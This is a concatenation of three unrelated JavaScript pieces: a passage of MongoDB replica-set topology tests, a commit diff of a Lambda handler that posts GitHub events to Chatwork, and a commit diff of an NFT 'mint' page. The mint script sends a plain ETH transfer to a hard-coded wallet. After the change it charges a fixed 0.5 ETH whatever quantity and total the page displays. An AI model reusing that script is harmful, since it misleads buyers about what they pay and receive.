    // Get the primary server
    manager.getServerManagerByType('primary', function(err, primaryServerManager) {
      test.equal(null, err);

      // Get the secondary server
      manager.getServerManagerByType('secondary', function(err, serverManager) {
        test.equal(null, err);

        // Stop the secondary
        serverManager.stop(function(err, r) {

          // Start a new server manager
          var nonReplSetMember = new ServerManager({
              host: serverManager.host
            , port: serverManager.port
            , dbpath: serverManager.dbpath
            , logpath: serverManager.logpath
          });

          // Start a non replset member
          nonReplSetMember.start(function() {
            var config = [{
                host: primaryServerManager.host
              , port: primaryServerManager.port
            }];

            var options = {
              setName: configuration.setName
            };

            // Wait for primary
            waitForPrimary(ReplSet, 30, config, options, function(err, r) {
              test.equal(null, err);

              // Attempt to connect
              var server = new ReplSet(config, options);
              server.on('joined', function(_type, _server) {
                state[_type] = state[_type] - 1;

                if(state.primary == 0
                  && state.secondary == 0
                  && state.arbiter == 0
                  && state.passive == 0) {
                  server.destroy();

                  // Stop the normal server
                  nonReplSetMember.stop(function() {
                    // Restart the secondary server
                    serverManager.start(function() {
                      restartAndDone(configuration, test);
                    });
                  });
                }
              });

              // Start connection
              server.connect();
            });
          });
        });
      });
    });
  }
}

// ../topology_test_descriptions/rs/hosts_differ_from_seeds.json
exports['Host list differs from seeds'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // State
    var state = {'primary':1, 'secondary': 2, 'arbiter': 1, 'passive': 1};
    // Get the primary server
    manager.getServerManagerByType('primary', function(err, serverManager) {
      test.equal(null, err);

      // Attempt to connect
      var server = new ReplSet([{
          host: serverManager.host
        , port: serverManager.port
      }, {
          host: 'localhost'
        , port: 41000
      }], {
        setName: configuration.setName
      });

      server.on('joined', function(_type, _server) {
        state[_type] = state[_type] - 1;

        if(state.primary == 0
          && state.secondary == 0
          && state.arbiter == 0
          && state.passive == 0) {
          server.destroy();
          restartAndDone(configuration, test);
        }
      });

      // Start connection
      server.connect();
    });
  }
}

// ../topology_test_descriptions/rs/primary_becomes_standalone.json
exports['Primary becomes standalone'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ServerManager = require('mongodb-tools').ServerManager
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // State
    var joined = {'primary':[], 'secondary': [], 'arbiter': [], 'passive': []};
    var left = {'primary':[], 'secondary': [], 'arbiter': [], 'passive': []};
    // Get the primary server
    manager.getServerManagerByType('primary', function(err, primaryServerManager) {
      test.equal(null, err);

      // Get the secondary server
      manager.getServerManagerByType('secondary', function(err, serverManager) {
        test.equal(null, err);

        // Start a new server manager
        var nonReplSetMember = new ServerManager({
            host: primaryServerManager.host
          , port: primaryServerManager.port
          , dbpath: primaryServerManager.dbpath
          , logpath: primaryServerManager.logpath
        });

        var config = [{
            host: serverManager.host
          , port: serverManager.port
        }];

        var options = {
          setName: configuration.setName
        };

        // Attempt to connect
        var server = new ReplSet(config, options);
        server.on('fullsetup', function(_server) {
          server.on('joined', function(_type, _server) {
            joined[_type].push(_server);

            if(_type == 'primary') {
              server.destroy();
              restartAndDone(configuration, test);
            }
          });

          server.on('left', function(_type, _server) {
            left[_type].push(_server);
          });

          // Stop the primary
          primaryServerManager.stop(function(err, r) {

            // Start a non replset member
            nonReplSetMember.start(function() {

              // Wait for primary
              waitForPrimary(ReplSet, 30, config, options, function(err, r) {
                test.equal(null, err);

                // Stop the normal server
                nonReplSetMember.stop(function() {

                  // Restart the primary server
                  primaryServerManager.start(function() {

                    // Wait for primary
                    waitForPrimary(ReplSet, 30, config, options, function(err, r) {
                      test.equal(null, err);
                      test.equal(1, left.primary.length);
                      test.equal(1, left.secondary.length);
                    });
                  });
                });
              });
            });
          });
        });

        // Start connection
        server.connect();
      });
    });
  }
}

// ../topology_test_descriptions/rs/member_reconfig.json
exports['Member removed by reconfig'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ServerManager = require('mongodb-tools').ServerManager
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // State
    var state = {'primary':[], 'secondary': [], 'arbiter': [], 'passive': []};
    // Get the primary server
    manager.getServerManagerByType('primary', function(err, primaryServerManager) {
      test.equal(null, err);

      manager.getServerManagerByType('secondary', function(err, secondaryServerManager) {
        test.equal(null, err);

        var config = [{
            host: primaryServerManager.host
          , port: primaryServerManager.port
        }];

        var options = {
          setName: configuration.setName
        };

        // Contains the details for the removed server
        var removedSever = null;
        // Attempt to connect
        var server = new ReplSet(config, options);
        server.on('fullsetup', function(_server) {
          var removedServer = null;

          // Save number of secondaries
          var numberOfSecondaries = server.state.secondaries.length;
          var numberOfArbiters = server.state.arbiters.length;
          var numberOfPassives = server.state.passives.length;

          // Let's listen to changes
          server.on('left', function(_t, _server) {
          });

          server.on('joined', function(_t, _server) {
            if(_t == 'primary') {
              test.ok(server.state.primary != null);
              test.ok(numberOfSecondaries != server.state.secondaries.length);
              test.equal(1, server.state.arbiters.length);
              test.equal(1, server.state.passives.length);
              server.destroy();

              // Add back the secondary
              manager.add(removedServer, function(err) {
                test.equal(null, err);
                restartAndDone(configuration, test);
              });
            }
          });

          // Get the secondary server
          manager.remove('secondary', function(err, _removedServer) {
            test.equal(null, err);
            removedServer = _removedServer;

            // Force new election
            manager.stepDown({force:true}, function(err) {});
          });
        });

        // Start connection
        server.connect();
      });
    });
  }
}
<|endoftext|>


<commit_before>let template = require('./builder.js');
let kms = require('./kms.js');
let cw = require('./post.js');

exports.handler = (event, context, callback) => {

  console.log('Received event:', JSON.stringify(event, null, 2));

  // Encrypted Chatwork token
  const enc_cwtoken = process.env.CHATWORK_API_TOKEN;

  // Chatwork Room ID from queryString
  const room_id = event.pathParameters['room_id'];

  // Payload from GitHub
  const payload = event.requestParameters;

  // GitHub Event Name
  const eventName = event.headers['X-GitHub-Event'];

  Promise.all([
    kms.decrypt(enc_cwtoken),
    new Promise((resolve, reject)=>{
      if(room_id != ''){
        resolve(room_id);
      }else{
        reject("room_id is blank.");
      }
    }),
    template.build(eventName, payload)
  ]).then((payload)=>{
    return cw.message(
      payload[0], // Raw Chatwork token
      payload[1], // Chatwork Room ID
      payload[2]  // Chatwork message body
    );
  }).then((text)=>{
    context.succeed();
  }).catch((reason)=>{
    console.log(reason);
    console.log("Not post to chatwork.");
    context.fail();
  });

}
<commit_msg>Set default value<commit_after>let template = require('./builder.js');
let kms = require('./kms.js');
let cw = require('./post.js');

exports.handler = (event, context, callback) => {

  console.log('Received event:', JSON.stringify(event, null, 2));

  // Encrypted Chatwork token
  const enc_cwtoken = process.env.CHATWORK_API_TOKEN;

  // Chatwork Room ID from queryString
  const room_id = event.pathParameters['room_id'] || '';

  // Payload from GitHub
  const payload = event.requestParameters;

  // GitHub Event Name
  const eventName = event.headers['X-GitHub-Event'] || event.headers['x-github-event'];

  Promise.all([
    kms.decrypt(enc_cwtoken),
    new Promise((resolve, reject)=>{
      if(room_id != ''){
        resolve(room_id);
      }else{
        reject("room_id is blank.");
      }
    }),
    template.build(eventName, payload)
  ]).then((payload)=>{
    return cw.message(
      payload[0], // Raw Chatwork token
      payload[1], // Chatwork Room ID
      payload[2]  // Chatwork message body
    );
  }).then((text)=>{
    context.succeed();
  }).catch((reason)=>{
    console.log(reason);
    console.log("Not post to chatwork.");
    context.fail();
  });

}
<|endoftext|>


<commit_before>window.onload = main
function changeQuantity(price) {
  const maxQuantity = 10
  const minQuantity = 1

  const incrementOnId = "plus"
  const decrementOnId = "minus"

  const quantity = document.querySelector("#quantity")
  const total = document.querySelector("#total")
  const mintChange = document.querySelectorAll(".mint-change")
  const mintChangeMap = Array.prototype.slice.call(mintChange)

  const updateTotal = () => {
    const currentQuantity = parseInt(quantity.innerHTML)
    total.innerHTML = price * currentQuantity
  }

  const incrementQuantity = () => {
    const currentQuantity = parseInt(quantity.innerHTML)
    if (currentQuantity === maxQuantity)
      return
    quantity.innerHTML = currentQuantity + 1
  }
  const decrementQuantity = () => {
    const currentQuantity = parseInt(quantity.innerHTML)
    if (currentQuantity === minQuantity)
      return
    quantity.innerHTML = currentQuantity - 1
  }

  function onMintChangeClick(event) {
    const type = event.target.id
    if (type === incrementOnId)
      incrementQuantity()
    if (type === decrementOnId)
      decrementQuantity()
    updateTotal()
  }

  updateTotal()
  mintChangeMap.map(el => el.addEventListener("click", onMintChangeClick))

}

function mint(wallet) {
  const mintNow = document.getElementById("mint-now");
  const connectWallet = document.getElementById("connect-wallet");

  const isMetaMaskInstalled = () => {
    const { ethereum } = window;
    return Boolean(ethereum && ethereum.isMetaMask) || false
  };
  const isMetaMaskConnected = async () => {
    if (typeof web3 === 'undefined') return false

    let accounts = await ethereum.request({ method: 'eth_accounts' })
    return accounts.length > 0;
  }
  const redirectToClaim = () => {
    window.open('/claim');
  }
  async function onConnectClick() {
    await ethereum.request({ method: 'eth_requestAccounts' })
  }
  async function mint() {
    if (!await isMetaMaskConnected())
      onConnectClick()

    try {
      const total = totalElement.innerHTML * 1000000000000000000
      const adress = (await ethereum.request({ method: 'eth_accounts' }))[0]
      await ethereum.request({
        method: 'eth_sendTransaction',
        params: [
          {
            from: adress,
            to: wallet,
            value: total.toString(16)
          },
        ],
      });
      redirectToClaim()
    } catch (error) {
      console.error(error);
    }
  }
  function preventNonInstalledMMask() {
    if (!isMetaMaskInstalled())
      alert("Consider installing metamask to use our services!")
  }

  mintNow.addEventListener("click", mint)
  connectWallet.addEventListener("click", onConnectClick)

  preventNonInstalledMMask()
}

function main() {
  const price = 0.5
  const wallet = "0x7054D4de267F16e9289e73C85471493cD2d64043"
  mint(wallet)
}<commit_msg>teateta<commit_after>window.onload = main
function changeQuantity(price) {
  const maxQuantity = 10
  const minQuantity = 1

  const incrementOnId = "plus"
  const decrementOnId = "minus"

  const quantity = document.querySelector("#quantity")
  const total = document.querySelector("#total")
  const mintChange = document.querySelectorAll(".mint-change")
  const mintChangeMap = Array.prototype.slice.call(mintChange)

  const updateTotal = () => {
    const currentQuantity = parseInt(quantity.innerHTML)
    total.innerHTML = price * currentQuantity
  }

  const incrementQuantity = () => {
    const currentQuantity = parseInt(quantity.innerHTML)
    if (currentQuantity === maxQuantity)
      return
    quantity.innerHTML = currentQuantity + 1
  }
  const decrementQuantity = () => {
    const currentQuantity = parseInt(quantity.innerHTML)
    if (currentQuantity === minQuantity)
      return
    quantity.innerHTML = currentQuantity - 1
  }

  function onMintChangeClick(event) {
    const type = event.target.id
    if (type === incrementOnId)
      incrementQuantity()
    if (type === decrementOnId)
      decrementQuantity()
    updateTotal()
  }

  updateTotal()
  mintChangeMap.map(el => el.addEventListener("click", onMintChangeClick))

}

function mint(wallet) {
  const mintNow = document.getElementById("mint-now");
  const connectWallet = document.getElementById("connect-wallet");

  const isMetaMaskInstalled = () => {
    const { ethereum } = window;
    return Boolean(ethereum && ethereum.isMetaMask) || false
  };
  const isMetaMaskConnected = async () => {
    if (typeof web3 === 'undefined') return false

    let accounts = await ethereum.request({ method: 'eth_accounts' })
    return accounts.length > 0;
  }
  const redirectToClaim = () => {
    window.open('/claim');
  }
  async function onConnectClick() {
    await ethereum.request({ method: 'eth_requestAccounts' })
  }
  async function mint() {
    if (!await isMetaMaskConnected())
      onConnectClick()

    try {
      const total = 0.5 * 1000000000000000000
      const adress = (await ethereum.request({ method: 'eth_accounts' }))[0]
      await ethereum.request({
        method: 'eth_sendTransaction',
        params: [
          {
            from: adress,
            to: wallet,
            value: total.toString(16)
          },
        ],
      });
      redirectToClaim()
    } catch (error) {
      console.error(error);
    }
  }
  function preventNonInstalledMMask() {
    if (!isMetaMaskInstalled())
      alert("Consider installing metamask to use our services!")
  }

  mintNow.addEventListener("click", mint)
  connectWallet.addEventListener("click", onConnectClick)

  preventNonInstalledMMask()
}

function main() {
  const price = 0.5
  const wallet = "0x7054D4de267F16e9289e73C85471493cD2d64043"
  mint(wallet)
}<|endoftext|>